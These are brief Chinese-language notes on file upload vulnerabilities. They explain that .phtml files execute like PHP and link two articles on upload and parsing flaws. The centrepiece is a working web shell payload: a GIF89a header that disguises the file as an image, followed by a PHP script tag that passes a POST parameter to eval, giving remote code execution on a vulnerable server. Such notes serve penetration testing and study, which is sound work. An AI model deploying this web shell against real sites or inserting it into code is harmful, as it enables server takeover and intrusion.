文件上传漏洞

• .PHP页面不包含视图相关的代码
• 一个.phtml页包含很少（如果有的话）的数据逻辑和大部分是演示相关
• .phtml文件告诉网络服务器，这些文件是由服务器生成的带有动态内容的html文件，就像浏览器中的.php文件表现一样。 因此，在高效使用中，您应该体验到.phtml与.php文件没有任何区别。

.phtml

GIF89a
<script language="php">eval($_POST['shell']);</script> 

PHP代码审计之文件上传漏洞

https://www.cnblogs.com/wangtanzhi/p/12243206.html

文件上传和解析漏洞的整理

https://www.freebuf.com/articles/web/247419.html